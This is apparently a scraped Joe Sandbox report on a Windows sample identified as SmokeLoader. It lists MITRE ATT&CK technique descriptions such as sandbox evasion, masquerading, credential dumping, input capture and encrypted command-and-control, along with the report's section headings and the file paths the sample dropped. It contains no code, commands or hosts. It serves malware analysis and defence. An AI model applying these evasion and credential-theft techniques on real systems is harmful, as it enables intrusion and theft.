Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report O4zPA1oI9Y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\8C4C.tmp

C:\Users\user\AppData\Local\Temp\8C4C.tmp-shm

C:\Users\user\AppData\Local\Temp\8CAE.exe

C:\Users\user\AppData\Local\Temp\916D.tmp

C:\Users\user\AppData\Local\Temp\9690.tmp

C:\Users\user\AppData\Local\Temp\97BA.tmp

C:\Users\user\AppData\Local\Temp\98A5.tmp

C:\Users\user\AppData\Local\Temp\9A0D.tmp

C:\Users\user\AppData\Local\Temp\9B47.tmp

C:\Users\user\AppData\Local\Temp\9C13.tmp

C:\Users\user\AppData\Local\Temp\DE97.exe

C:\Users\user\AppData\Roaming\fftwvdb

Windows Analysis Report
O4zPA1oI9Y.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre